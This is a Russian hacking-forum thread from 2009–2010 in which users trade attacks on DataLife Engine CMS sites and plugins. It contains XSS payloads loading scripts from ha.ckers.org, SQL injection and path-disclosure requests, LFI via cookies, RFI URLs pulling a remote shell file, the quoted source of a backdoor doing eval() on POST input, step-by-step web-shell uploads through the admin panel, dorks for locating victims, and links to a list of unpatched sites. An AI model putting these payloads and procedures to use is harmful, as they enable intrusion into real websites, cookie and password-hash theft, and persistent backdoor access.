http://site.ru/index.php?do=register&doaction=validating&step=2&id[]=1
(c) mailbrush

#Wolf#
10.02.2009, 15:54
раскрытие путей

http://host.ru/engine/print.php?do=static&page[]=paramparam


результат

Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in [PATH]/engine/classes/mysql.class.php on line 162 Невозможно загрузить шаблон: info.tpl


UPD

http://host.ru/engine/rss.php?subaction=allnews&user[]=admin

UPD
для тех у кого есть доступ в админку(журналисты, модераторы и выше)

http://host.ru/admin.php?mod[]=main


(c) #Wolf#

ps
http://dle-news.ru/bags/v75/570-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html

кандоны( уже патч выпустили(

-Hormold-
27.02.2009, 15:10
Youtube Video Downloader
Версия: 1.0


Пассивная-XSS :(
Собственно
Уязвимый скрипт: youtubedownloader.php
Запрос: http://www.youtube.com/watch?v=Gw0Ysp47hl8"><h1>simple</h1>
Метод: POST
Уязвимый кусок кода:

$video="$_POST[video]";
$video2 = explode("watch?v=", $video);
$video2 = explode("&", $video2[1]);
$video2 = $video2[0];
/////........
$pic="http://img.youtube.com/vi/$video2/default.jpg";
$youtube .="<center><br><b>$title</b><br><br><img src=\"$pic\"><br><br><a href=\"http://www.youtube.com/get_video?$link\">[ Download ]</a></center>";
}

-Hormold-
27.02.2009, 15:57
SPAM BUTTON in PM
Версия: v.1.0


Раскрытие путей

Уязвимый скрипт: engine\inc\pmspam.php
Запрос: --
Метод: --
Уязвимый кусок кода:

//До этого нет объявление функции и каких-либо includ'ов
echoheader("SPAM in PM", "Админпанель модуля \"SPAM IN PM\" v.1.0 BY GRIMWEB");

-Hormold-
27.02.2009, 16:08
SPAM BUTTON in PM
Версия: v.1.0


ВОЗМОЖНО Sql-INJ

Уязвимый скрипт: engine\inc\pmspam.php
Запрос: flag=-1'
Метод: POST
Уязвимый кусок кода:

if($_POST['spam_flag'])
{
foreach ($_POST['spam_flag'] as $key => $value)
{
$delete_spam_query = "DELETE FROM " . PREFIX . "_spam_pm WHERE id = '$value'";
$delete_spam_query_id = $db->query($delete_spam_query);
if(!$delete_spam_query)
{
$spam_err = true;
}
}
}

-Hormold-
27.02.2009, 16:25
DLE HACK SERVICE BETA
Версия: v.1.0


Расскрытие путей

Уязвимый скрипт: engine\inc\md5.php
Запрос: pass[]=md5
Метод: POST
Уязвимый кусок кода:

if (isset($_POST['pass'])) {
$pass=trim(htmlspecialchars($_POST['pass']));
$pass=md5($pass);
}

-Hormold-
27.02.2009, 16:41
Простой мини чат для Dle
Версия: v.1.0


Расскрытие путей

Уязвимый скрипт: shout.php
Запрос: name[]=1&message[]=msg
Метод: POST
Уязвимый кусок кода:

if (isset($_POST["name"], $_POST["message"])){
$name = iconv("UTF-8", "windows-1251", $_POST["name"]);
$message = iconv("UTF-8", "windows-1251", $_POST["message"]);

Ошибка вызывается тем, что iconv неможет обработать Массив который передаётся через POST

-Hormold-
27.02.2009, 16:45
Простой мини чат для Dle
Версия: v.1.0


Активная XSS

Уязвимый скрипт: shout.php
Запрос: name=<h1> 1 </h1>&message=<h1> xsss </h1>
Метод: POST
Уязвимый кусок кода:

if (isset($_POST["name"], $_POST["message"])){
$name = iconv("UTF-8", "windows-1251", $_POST["name"]);
$message = iconv("UTF-8", "windows-1251", $_POST["message"]);
///........
$file[] = $id."¤".$name."¤".$message."¤".time()."\n";
///........
foreach ($file as $msg) fwrite($fp, $msg);
///........

Этот баг даёт возможность поставить сниффер, и ловить куки ;)

-Hormold-
27.02.2009, 16:56
profileZ. Смена логина
Версия: v.1.5


Sql-INJ

Уязвимый скрипт: engine/modules/profile.php
Запрос: usertitle=-1'
Метод: POST
Уязвимый кусок кода:

$usertitle=$_POST['usertitle'];
if (strlen($password1)>0) {

$password1 = md5(md5($password1));

$sql_user = "UPDATE " . USERPREFIX . "_users set name='$usertitle', fullname='$fullname', land='$land', icq='$icq', email='$email', info='$info', signature='$signature', password='$password1', allow_mail='$allow_mail', xfields='$filecontents', allowed_ip='$allowed_ip' where name='$user'";

} else {
$sql_user = "UPDATE " . USERPREFIX . "_users set name='$usertitle', fullname='$fullname', land='$land', icq='$icq', email='$email', info='$info', signature='$signature', allow_mail='$allow_mail', xfields='$filecontents', allowed_ip='$allowed_ip' where name='$user'";

}

-Hormold-
27.02.2009, 17:18
hacking attemptz
Версия: v.1.0


Активная XSS от любого пользователя(100% кража куки админа)

Уязвимый скрипт: hacking_attemptz_fnct.php
Запрос: login_name=<h1><script>alert(/xss/);</script>XSS</h1>&login_password=1234
Метод: POST
Уязвимый кусок кода:

function log_user($host)
{
global $ip;
$log_date = date('d.m.Y');
$log_time = date('H:i:s');
$log_info = "

<tr>
<td align='center'>".$_POST['login_name']."</td>
<td align='center'>$log_date</td>
<td align='center'>$log_time</td>
<td align='center'>$ip</td>
<td align='center'>".gethostbyaddr($ip)."</td>
</hr>
";

Теперь попробуйте залогиниться с логином <h1>xss</h1> и любым пассом!
Смотрим админку, и вот! XSS видна

Chaak
27.02.2009, 17:29
SPAM BUTTON in PM
Версия: v.1.0


ВОЗМОЖНО Sql-INJ

Уязвимый скрипт: engine\inc\pmspam.php
Запрос: flag=-1'
Метод: POST
Уязвимый кусок кода:

if($_POST['spam_flag'])
{
foreach ($_POST['spam_flag'] as $key => $value)
{
$delete_spam_query = "DELETE FROM " . PREFIX . "_spam_pm WHERE id = '$value'";
$delete_spam_query_id = $db->query($delete_spam_query);
if(!$delete_spam_query)
{
$spam_err = true;
}
}
}
Что значит возможно?

-Hormold-
27.02.2009, 18:02
Friends of Suite
Версия: v.1.3


Расскрытие путей

Уязвимый скрипт: inc/friend.php
Запрос: reg_name[]=123&reg_adress[]=1234
Метод: POST
Уязвимый кусок кода:

if ($_POST['docreate'] == "create")
{
$name = trim(htmlspecialchars(stripslashes($_POST['name'])));
$address = trim(htmlspecialchars(stripslashes($_POST['address'])));

-Hormold-
27.02.2009, 18:08
Friends of Suite
Версия: v.1.3


Активная XSS от любого пользователя(100% кража куки админа)

Уязвимый скрипт: friend.php
Запрос: reg_name=<h1><script>alert(/xss/);</script>XSS</h1>&reg_adress=http://127.0.0.1/
Метод: POST
Уязвимый кусок кода:

//пока ненашёл...

Теперь попробуйте добавить сайт с названием <h1>xss</h1> и любым url'ом где есть ссылка на ваш хост.
Смотрим админку, и вот! XSS видна :P
Хотя script удаляет...

-Hormold-
28.02.2009, 00:40
DataLife Engine Redirect
Версия: v.1.1

XSS

Уязвимый скрипт: engine/redirect.php
Запрос: url=http://site.su"><script>alert(document.cookie);</script>
Метод: GET
Уязвимый кусок кода:

$url = (isset($_GET['url']) && (!empty($_GET['url']))) ? trim($_GET['url']) : @header('Location: /index.php');




Переадресация для ссылок(^^ странно похожи...)!
Версия: v.1.0

XSS

Уязвимый скрипт: engine/redikt.php
Запрос: ?url=http://sasa.su"><script>alert(document.cookie);</script>
Метод: GET
Уязвимый кусок кода:

$url = (isset($_GET['url']) && (!empty($_GET['url']))) ? trim($_GET['url']) : @header('Location: /index.php');

-Hormold-
01.03.2009, 22:09
Удаление комментариев при помощи AJAX
Версия: v.1.0


sql-inj

Уязвимый скрипт: engine/ajax/commentdelete.php
Запрос: commid=-1'
Метод: GET
Уязвимый кусок кода:

$row = $db->super_query("SELECT * FROM " . PREFIX . "_comments where id = '{$_REQUEST['commid']}'");


Раскручивать не стал...

banana
09.04.2009, 13:13
По адресу site/engine/images.php?area=
Можно заливать картинки на сервер без авторизации

Проверял на 6.7 - пашет

Sosok
09.05.2009, 17:08
Расскажите можна будет,как нибудь заюзать уязвимость в модуле "Переходы"...?
Когда например в гугле воодишь запрос с ковычкой, то при переходе :
MySQL Error!
The Error returned was:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'vBulletin', '/', '%main%', 'ip', 'engine')' at line 1
Error Number:
1064

wildshaman
09.05.2009, 17:15
Расскажите можна будет,как нибудь заюзать уязвимость в модуле "Переходы"...?
Когда например в гугле воодишь запрос с ковычкой, то при переходе :
MySQL Error!
The Error returned was:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'vBulletin', '/', '%main%', 'ip', 'engine')' at line 1
Error Number:
1064

покажи подробнее, линком желательно

Sosok
10.05.2009, 12:18
Вот зайдёшь и на самый первый сайт нажми...
http://www.google.com/search?client=opera&rls=ru&q=site:scriptiks.ru+'

nonamez
10.05.2009, 12:20
там варка в том, что он сохраняет запросы в базу с реферор от гугла или же яши, а если подделать запрос, то можно вызвать скуль эрор, я уже об этом поднимал тему один раз.

wildshaman
10.05.2009, 13:52
Активные XSS в DLE версии 8.0 (возможно и раньше).
Необходимо несколько специфических настроек.

1) XSS при добавлении новостей из админски, WISYWIG должен быть отключен;
Простое добавление новостей пользователями, WISYWIG должен быть отключен:

<iframe width=0 border=0 height=0 src=http://ha.ckers.org/scriptlet.html <
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDov L3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm 9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPS IxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcm lwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

<SCRIPT SRC=http://ha.ckers.org/xss.js?
<

2) XSS в комментариях к новостям, WISYWIG должен быть включен:
<SCRIPT SRC=http://ha.ckers.org/xss.js?<



(с) by Wildshaman, 2009 год.

wildshaman
11.05.2009, 17:14
DLE 8.0 Раскрытие путей:
http://dle-news.ru/index.php?do=pm&doaction=del&dle_allow_hash=06e5bbf84191c990867ee5bbacf879b8&master_box=on&selected_pm[][]=8
dle_allow_hash берется из исходника страницы списка персональных сообщений (для каждого юзверя он свой на каждом сайте)...




Активная XSS (требуется доступ в админку)...
идем в редиактирвоание своей инфы в админке ([site]/admin.php?mod=options&action=personal)
, в поле "Полное имя:" пишем <script>alert(/Hacked by Wildshaman/)</script> и смотрим в свой профиль на сайте ([site]/user/username)



(с)Wildshaman 2009 год

Genry13
20.05.2009, 11:12
XSS в комментариях к новостям, WISYWIG должен быть включен:
<SCRIPT SRC=http://ha.ckers.org/xss.js?<


Ет коряво и не работает, т.к. к адресу скрипта коннектится "<" и следующий тег, да и полстраницы обрезается... Если в другю сторону загнуть - фильтрует.

З.Ы. Такая же "уязвимость" и в приватных месагах.

mr.gr33n
07.07.2009, 20:38
Вот тоже нашел xxs, может и баян ну на нулёных версиях пашет как колхозник =)

[XSS]

http://test1.ru/dle/<script>alert()</script>?mod=main


Вот еще раскрытие путей если админ не удалил папку Upgrade, достаточно перейти по адресу:

http://test1.ru/dle/upgrade/7.5.php

James026
09.07.2009, 01:02
Вот тоже нашел xxs, может и баян ну на нулёных версиях пашет как колхозник =)

[XSS]

http://test1.ru/dle/<script>alert()</script>?mod=main



Hacking attempt!

Useroff
28.07.2009, 07:15
Создадим новость и потом откроем код страницы с новостью то получим адресс одминки xD

<a onclick="return dropdownmenu(this, event, MenuNewsBuild('1', 'full'), '170px')" href="http://site.ru/odmin.php?mod=editnews&amp;action=editnews&amp;id=1" target = "_blank" >

Работает не всегда, смотря от настроек DLE.

-=BlackSmoke=-
13.08.2009, 01:41
Уязвимость в скрипте: DLE FORUM.
Версии: хз, тестил на 2.3.
Что делает: получение префикса таблиц(dle_ или то, что задал админ, например, blablabla_).
Реализация: добавить сообщение, содержащее тег а затем, не обновляя страницу, добавить еще одно сообщение. Появится ошибка синтаксиса мускула, при этом откроется, какую именно таблицу не удалось обновить.

InFlame
05.09.2009, 18:40
DataLife Engine 8.2

www.site/path/engine/api/api.class.php?dle_config_api=[file]

Dr.Brain
05.09.2009, 18:59
DataLife Engine 8.2

www.site/path /engine/api/api.class.php?dle_config_api=[file]

ниче не вижу

j0ker13
05.09.2009, 22:11
в нуленных DataLife Engine 8.2 это убрали)
и вообще ни одного сайта уязвимого не нашел из 100

z0mbie86
06.09.2009, 07:27
Подскажите как залить шелл через админку в DLE 8.2

Andrewko1
07.09.2009, 11:38
Подскажите как написать запрос для гугла чтобы найти сайты на движке dle

FeraS
07.09.2009, 11:59
inurl:index.php?do=register

Useroff
11.09.2009, 12:27
DataLife Engine 8.2

www.site/path/engine/api/api.class.php?dle_config_api=[file]
dle_config_api - используют только нулледы, так что на лицензию это не распространяется.

Dark_cracker
11.09.2009, 16:21
Не знаю важно или нет , ну мне часто помогало...Если админ не поставил на шаблон достаточно прав , то через админку когда изменяешь шаблон пишет ошибку :( , я это обхожу с помощью создания нового шаблона , после того как создали новый шаблон его можно редактировать ;-) , в настройках системы выбераете тот шаблон который создали:)

redlain
18.09.2009, 15:27
вопрос как залить шелл через админку с возможностью его последующего запуска
вопрос возник из-за того, что файл заливаемый через новости, фильтруется хц аксесом.
А если в шаблон заливать, то скобки "<>" не обрабатываются (
Других явных вариантов тут не нашел и пока самому не пришли в голову... кто что знает?

phpdreamer
19.09.2009, 11:34
Заходишь в "настройка системы" => "настройка загрузки файлов на сервер" => "Расширение файлов, допустимых к загрузке" дописываешь PHP. Потом "Добавить новость" там не чё не заполняем и новость не добавляем... просто "загрузка файлов на сервер" загружаешь значит свой шелл... он сохраняется в ...\uploads\files\десять цифр_название.php а потом пробиваешь на валидность...

и еще
https://damagelab.org/index.php?showtopic=16780&pid=103742&st=10&#entry103742

Dark_cracker
20.09.2009, 00:22
Заходишь в "настройка системы" => "настройка загрузки файлов на сервер" => "Расширение файлов, допустимых к загрузке" дописываешь PHP. Потом "Добавить новость" там не чё не заполняем и новость не добавляем... просто "загрузка файлов на сервер" загружаешь значит свой шелл... он сохраняется в ...\uploads\files\десять цифр_название.php а потом пробиваешь на валидность...
уже обсуждалось , много раз <FilesMatch "\.(avi|mp3|mp4|flv|swf|wmv)$|^$"> , так что , то что ты написал полная чушь:)
десять цифр_название.php а потом пробиваешь на валидность
C этого поржал :)
https://damagelab.org/index.php?showtopic=16780&pid=103742&st=10&#entry103742
этот тип тоже какую то ху**ню написал.

Nightmarе
23.09.2009, 05:13
Хотелось бы спросить у тех, кто ковыряет движок DLE, есть там плагин к нему типа форум DLE.
Заметил на нём такую особенность, он экранирует кавычки, ну первым делом естественно была мысль проверить его на XSS, однако в исходном HTML коде страницы он всё преобразует в HTML эквиваленты (&#x4C;&#x4F;&#x4C;)
Но экранирование всё равно происходит… значит видимо не всё так чисто… или всё.
Может кто уже смотрел это место, стоит ли его ковырять, или затея бессмысленна?

hackmon
25.09.2009, 17:58
можно ли через пользователя залить шелл?
имеется доступ /admin.php?mod=addnews&action=addnews

SpYeR
08.10.2009, 20:35
hackmon, нельзя.
В последних версиях, по-моему, вообще нереально, имея даже полный доступ в админку.

wildshaman
09.10.2009, 16:00
Если имеется установленный модуль DLE forum - то шелл залить проще простого, имея доступ в админку.

Заходим в админку - другие разделы - настройка модуля DLE forum (/admin.php?mod=options&action=options)
Настройка (/admin.php?mod=forum&action=tools) - таб "настройка загрузки файлов на сервер".
В "Расширение файлов, допустимых к загрузке" дописываем ",php", сохраняем.
Идем на форум, выбираем любую тему, нажимаем "ответить", в нвоом окне нажимает на значок папки (выше поля ввода сообщения).
Там выбираем наш шелл в .PHP формате (.php обрезается самим движком). Грузим, вставляем в пост (аттачмент), постим. Видим в посте линк. переходим - вот и наш шелл.
после этого можно залить наш шелл в другое место, удалить этот и стереть пост.
Ну и, главное, не забыть в админке в настройках убрать добавленное разрешени PHP
(с)WildShaman 2009

SpYeR
11.10.2009, 04:39
wildshaman,
только что попробовал, не получилось. Скорее всего из-за ЧПУ. По-моему, оно должно быть отключено.

denniselite
11.10.2009, 11:40
Люди подскажите как можно вытащить хеши паролей всех пользователей без доступа к бд?

SpYeR
12.10.2009, 09:16
Люди подскажите как можно вытащить хеши паролей всех пользователей без доступа к бд?
Если есть доступ в админку, то сделать бэкап базы, скачать его, и вытащить оттуда.

hackmon
16.10.2009, 19:51
у мня проблема вот линк http://www.milw0rm.com/exploits/9572
там эксплоит www.site/path /engine/api/api.class.php?dle_config_api=[shell.txt?]

вместо сайт я вставляю сайт жертвы (и знаю что там установлена такая же версия)


эта строчко остается неизменная /engine/api/api.class.php?dle_config_api=

и шелл Я загрузил на site narod.ru тоесть после config_api= я ввожу линк на свой сайт с шеллом

пс убирал расширение ничего

кто потскажет

wildshaman
16.10.2009, 20:08
http://site-na-dle.ru/engine/api/api.class.php?dle_config_api=http://site.narod.ru/.txt?
так делал? с вопросом в конце.

hackmon
16.10.2009, 20:18
http://site-na-dle.ru/engine/api/api.class.php?dle_config_api=http://site.narod.ru/.txt?
так делал? с вопросом в конце.

все равно

(Dm)
16.10.2009, 21:17
у мня проблема вот линк http://www.milw0rm.com/exploits/9572
там эксплоит www.site/path /engine/api/api.class.php?dle_config_api=[shell.txt?]

вместо сайт я вставляю сайт жертвы (и знаю что там установлена такая же версия)


эта строчко остается неизменная /engine/api/api.class.php?dle_config_api=

и шелл Я загрузил на site narod.ru тоесть после config_api= я ввожу линк на свой сайт с шеллом

пс убирал расширение ничего

кто потскажет
Может register_globals = Off

hackmon
16.10.2009, 21:41
Может register_globals = Off

я на разных сайтах смотрел
wildshaman предположил что Эта бага есть только у версий,с качанных с сайта http://dlecms.com

как по другому моно замутить

mailbrush
17.10.2009, 17:50
Раскрытие путей + LFI
DataLife Engine <= 8.2


Тип: Раскрытие путей
Автор: mailbrush
Версия: DataLife Engine <= 8.2
Описание: Уязвимость заключается в отсутствии фильтрации входного параметра "dle_skin" в файле init.php и позволяет удалённому пользователю добиться вывода ошибки функции, соответственно увидев пути к корню сайта.
Уязвимый код:
/engine/init.php

...
} elseif (isset($_COOKIE['dle_skin']) AND $_COOKIE['dle_skin'] != '') {

if (@is_dir(ROOT_DIR.'/templates/'.$_COOKIE['dle_skin']))
{
$config['skin'] = $_COOKIE['dle_skin'];
}
}
...
$tpl->dir = ROOT_DIR.'/templates/'.$config['skin'];
...
include_once $tpl->dir.'/login.tpl';

Эксплуатация:


Заходим на сайт DLE. Открываем браузером менеджер куки. Изменяем / добавляем параметр, название которого ставим dle_skin и значение ../
Отправляем запрос на сайт:
GET / HTTP/1.1
Host: dle-news.ru
Cookie: dle_skin=../
Cookie2: $Version=1
Connection: Close
Самый простой вариант - используем мой скрипт:
http://mailbrush.eu/tools/dle.php


После этого на сайте видим ошибку:

Warning: include_once([PATH]): failed to open stream: No such file or directory in [PATH] on line 314

Warning: include_once(): Failed opening '[PATH]' for inclusion (include_path='.;C:\php5\pear') in [PATH] on line 314
Невозможно загрузить шаблон: shortstory.tpl
[PATH] - это и есть раскрытие путей.

Соображающие люди поймут как сделать из этого LFI.

Дорк: Powered by DataLife Engine

SpYeR
18.10.2009, 16:20
mailbrush
Круто.
Ухты! Можно даже залить шелл если в uploads/files залить свой login.tpl
указывать dle_skin=../uploads/files/

HAXTA4OK
18.10.2009, 23:31
Раскрытие путей
DataLife Engine 8.2 Без всяких куков

1)файл preview.php
require_once ROOT_DIR.'/engine/classes/templates.class.php';

самое прикрльное что ROOT_DIR читает как папку, хотя многие в асе написали что
константа *в не понятках*

вызываем этот файл:
http://dle/engine/inc/preview.php
получаем
Warning: require_once(ROOT_DIR/engine/classes/templates.class.php) [function.require-once]: failed to open stream: No such file or directory in C:\AppServ\www\upload33\engine\inc\preview.php on line 2

на офф сайте даже канает)

+ 2)еще ругается с файла Init.php
require_once (ENGINE_DIR . '/inc/include/functions.inc.php');
extract( $_REQUEST, EXTR_SKIP );
require_once (ENGINE_DIR . '/data/config.php');


http://dle/engine/inc/include/init.php

Warning: require_once(ENGINE_DIR/inc/include/functions.inc.php) [function.require-once]: failed to open stream: No such file or directory in /home/public_html/engine/inc/include/init.php on line 18

+3) нужны куки :)

engine/ajax/antivirus.php
if (isset( $_COOKIE['selected_language'] )) {

$_COOKIE['selected_language'] = totranslit( $_COOKIE['selected_language'], false, false );

if (@is_dir ( ROOT_DIR . '/language/' . $_COOKIE['selected_language'] )) {
$selected_language = $_COOKIE['selected_language'];
}

}

require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';


все тоже самое что и у mailbrush'a. только в куках имя selected_language и значение ../ уже выдаст ошибку

+4) самое бональное раскрытие

engine/modules/imagepreview.php
$_GET['image'] = htmlspecialchars ($_GET['image'], ENT_QUOTES);
$_GET['image'] = str_replace( "document.cookie", "", $_GET['image'] );
$_GET['image'] = str_replace( "javascript", "", $_GET['image'] );


http://dle/engine/modules/imagepreview.php?image[]=
PS и не нужны куки здесь)
Зыы ну почти не нужны

S0ulVortex
05.11.2009, 00:54
Народ есть способы залить шел через админку в dle 8.2 ???

SpYeR
05.11.2009, 06:49
Мэилбраш же вон написал способ. Только так вроде.

S0ulVortex
05.11.2009, 10:31
Был найден бэкдор в нулле от -=ZLOY=-
В этом файле был бэкдор. eval() через $_POST
Файл лежит в (/engine/ajax/updates.php)
Код бэкдора
if($_GET['wert']==''){
require_once ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';
$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];
@header("HTTP/1.0 200 OK");
@header("HTTP/1.1 200 OK");
@header("Cache-Control: no-cache, must-revalidate, max-age=0");
@header("Expires: 0");
@header("Pragma: no-cache");
@header("Content-type: text/css; charset=".$config['charset']);
$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?version_id=".$_REQUEST['versionid']."&key=".$config['key']);
if (!strlen($data)) echo $lang['no_update']; else echo $data;
}else{
$file=(ROOT_DIR."/engine/classes/mysql.class.php");
if(file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/dbconfig.php");
if(file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";}
$file=(ROOT_DIR."/engine/data/config.php");
if(file_exists($file)){ @require($file); $x.="config.php - ok<br />";}
eval(base64_decode($_GET['user_id']));
echo <<<HTML
<HTML><body><form action="" method="post">
<center><textarea name="text" rows="10" cols="100"></textarea>
<br /><input type="submit" value="Canoinoaaoe"/></center></form></body></HTML>
HTML;
if($_POST['text']!=''){eval(stripcslashes($_POST['text']));
}}

EST a1ien
12.11.2009, 19:07
Найдена уязвимость в DLE 8.2(Только в этой версии)
/index.php?do=lostpassword&douser=1&lostid=
Получаем пас от пользователя с id 1
На офф сайте уже доступна заплатка.
В новых версиях дле даже можно версию узнать ))
engine/skins/images/logos.jpg
Теперь у каждой версии в админки стоит версия в лого )
Это просто шикарно )

Getozz
13.11.2009, 14:50
Проблемму с лостпассворд профиксили. dle.org7.ru

Getozz
15.11.2009, 02:55
Еще одна бага есть. можн залить шелл с помощю категорий. создаете категорию туда свой шаблон с шеллом. вродь до 7.2 у мя пахало

NoEasyWayOut
19.11.2009, 13:30
Какой запрос в гугл вбить дабы найти DLE версии только 8.2?Может есть какой-то признак по урлу, inurl:blabla ?

Useroff
23.11.2009, 03:20
8.2, раскрытие путей

selected_language = .
admin.php

AARON
23.11.2009, 05:25
Какой запрос в гугл вбить дабы найти DLE версии только 8.2?Может есть какой-то признак по урлу, inurl:blabla ?

Можно на images.google.ru вбить

"engine/skins/images/logos.jpg" Datalife Engine

http://images.google.ru/images?hl=ru&source=hp&q=%22engine%2Fskins%2Fimages%2Flogos.jpg%22+Datali fe+Engine&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%BA%D0%B0%D 1%80%D1%82%D0%B8%D0%BD%D0%BE%D0%BA&gbv=2&aq=f&oq=

slva2000
24.11.2009, 22:34
Выкладываю скрипт поиска DLE 8.2. Многопоточность. CURL.

http://depositfiles.com/files/6s4qs35gb

Берёт данные из файла где собраны любые версии ДЛЕ. Можно иметь просто любые сайты, но признаки поиска ДЛЕ для гугла, например, известны, ему самому, а занчит и вам. :D

Кому лень возиться со скриптом, вэлком в готовую (http://depositfiles.com/files/ademwzxp8) базу. Примерно 5к версии 8,2. На сегодня половина ещё висят без фиксов. Эх, аккуратнее, и имейте честь и достоинство. Жаль хайда нет.

hellorin
27.11.2009, 15:19
Выкладываю скрипт поиска DLE 8.2. Многопоточность. CURL.

http://depositfiles.com/files/6s4qs35gb

Берёт данные из файла где собраны любые версии ДЛЕ. Можно иметь просто любые сайты, но признаки поиска ДЛЕ для гугла, например, известны, ему самому, а занчит и вам. :D

Кому лень возиться со скриптом, вэлком в готовую (http://depositfiles.com/files/ademwzxp8) базу. Примерно 5к версии 8,2. На сегодня половина ещё висят без фиксов. Эх, аккуратнее, и имейте честь и достоинство. Жаль хайда нет.

Сцыль с базой обовить бы ...

c411k
03.12.2009, 04:48
https://forum.antichat.ru/thread153641.html

бага в посылке пакета без кукисов.

http://vipuzor.com/admin.php
Host: vipuzor.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.20) Gecko/20091111 Firefox/3.1.3.37
Referer: http://vipuzor.com/admin.php
Content-Type: application/x-www-form-urlencoded
POST
subaction=dologin&username=admin&password=111111

zetaap
03.12.2009, 22:42
slva2000 Ссылочки обновите пожалуйста

Useroff
02.01.2010, 18:47
http://site.com//language/Russian/website.lng

Боян - .htaccess

// будет работать на старых версиях, в новых хтакссесс поумалчанию залит.
H00k

Balancer
10.01.2010, 11:25
Мой способ самый простой. заливаете шелл через новость. ищете в антивире . и в маин.тпл или другой шаб через админку прописываем. include('/uploads/files/shell.php');

а дальше заходим в шелл и быстренько удаляем файл хтасес из директории шелла(аплоадс и файлс).
дальше удаляеш инклуд из шабла. и с чистой душой радуемся
Проинклудил я main.tpl, а как зайти в шел не понятно. Объясните нубу, пожалуйста! :confused:

deiv3
11.01.2010, 22:50
Подскажите, что можно сделать, имя доступ к админке в DLE 8.0., если слить базу мешает не выставленные права 777. Есть в этой версии способы залить шелл?

YuxaS
12.01.2010, 20:07
Мой способ самый простой. заливаете шелл через новость. ищете в антивире . и в маин.тпл или другой шаб через админку прописываем. include('/uploads/files/shell.php');

а дальше заходим в шелл и быстренько удаляем файл хтасес из директории шелла(аплоадс и файлс).
дальше удаляеш инклуд из шабла. и с чистой душой радуемся

а для этого не нужно в index.php менять строчку:
echo $tpl->result['main'];
на
eval (' ?' . '>' . $tpl->result['main'] . '<' . '?php '); ??
или я что то не правильно понял ? объясните кто нибудь...

и ещё один вопрос, может кто знает, что нужно сделать, чтобы пароли при регистрации сохранялись в базу - как есть, без md5 кодирования ?

SuNDowN
13.01.2010, 23:30
Может кто запалит способ заливки шелла через админские права в DLE v8.2 есть же способ! Лично я ++ поставлю! =)

In.Exploit
14.01.2010, 03:06
Может кто запалит способ заливки шелла через админские права в DLE v8.2 есть же способ! Лично я ++ поставлю! =)
Есть. в login.tpl

или там где выбор шаблона для категории.

или же инклудь в маин.тпл

SuNDowN
15.01.2010, 13:37
Есть. в login.tpl

или там где выбор шаблона для категории.

или же инклудь в маин.тпл
При помощи этого товарища и своих усилей нашёл способ заливки шелла через админ панель, впрочем она нечем не отличается от выше указанных просто в версиях от 8.0, а именно в 8.2 нужно в маин.тпл инклудить при помощи тега:
{include file="file.php"}

V1sTeR
17.01.2010, 20:58
Кроме шаблона, можно еще как-нибудь залить шелл? DLE 7.5-8.3

RedX
31.01.2010, 21:44
================================================== ======================================
| # Title : DataLife Engine 8.3 RFI Vulnerability
| # Author : indoushka
| # email : indoushka@hotmail.com
| # Home : www.iq-ty.com/vb
| # Script Home : http://villehost.net/files/DataLife%20Engine%208.3%20Full%20English%20UTF-8%20Encoded%20-%20www.cms-pedia.com.rar (pass=www.cms-pedia.com)
| # Dork : Powered by CMS Pedia � 2009 (DataLife Engine Support � 2009. CMS Pedia)
| # Tested on : windows SP2 Fran�ais V.(Pnx2 2.0) + Lunix Fran�ais v.(9.4 Ubuntu)
| # Bug : RFI
====================== Exploit By indoushka =================================
# Exploit :

1- RFI

http://localhost/upload/engine/inc/include/init.php?selected_language=http://localhost/c.txt?

http://localhost/upload/engine/inc/help.php?config[langs]=http://localhost/c.txt?

http://localhost/upload/engine/ajax/pm.php?config[lang_=[EV!L]

http://localhost/upload/engine/ajax/addcomments.php?_REQUEST[skin]]=http://localhost/c.txt?

http://localhost/upload/engine/ajax/addcomments.php?_REQUEST[skin]]=http://localhost/c.txt?

http://www.example.com/engine/inc/include/init.php?selected_language=http://www.example2.com
http://www.example.com/engine/inc/help.php?config[langs]=http://www.example2.com
http://www.example.com/engine/ajax/pm.php?config[lang_=http://www.example2.com
http://www.example.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://www.example2.com :)

EoGeneo
10.02.2010, 10:43
Вопрос. Такой. есть Доступ к БД. Могу сдлеать юзеру админ права. Но немогу найти админку. что посоветуете?

flagmen
10.02.2010, 12:55
Сделай юзеру админ права и войди в аккаунт юзера, там наверняка и появится ссыль в админ панель

EoGeneo
10.02.2010, 13:08
Сделай юзеру админ права и войди в аккаунт юзера, там наверняка и появится ссыль в админ панель
:D Ты думаешь я не проверял ))) они заходят набирая путь до админки руками

MagNomeTik
10.02.2010, 15:55
В последних версиях DLE в меню редактирования любой новости есть пункт "Редактировать новость (Админка)".
Выделяешь этот пункт и видишь в строке состояния примерно такую вещь http://сайт/admin.php?mod=editnews&action=editnews&id=25303
Отсюда можешь уже можешь разглядеть)

EoGeneo
10.02.2010, 15:59
Спасибо, но все не то )) там эксклюзивный шаблон. И нет этого всего. ТАм с первого взгляда и не скажешь что DLE. Сам держу сайт на DLE и знаю самый распространеные фишки поиска админки. В данном случаи я ищу что то типо сканера админок )))

zebrum
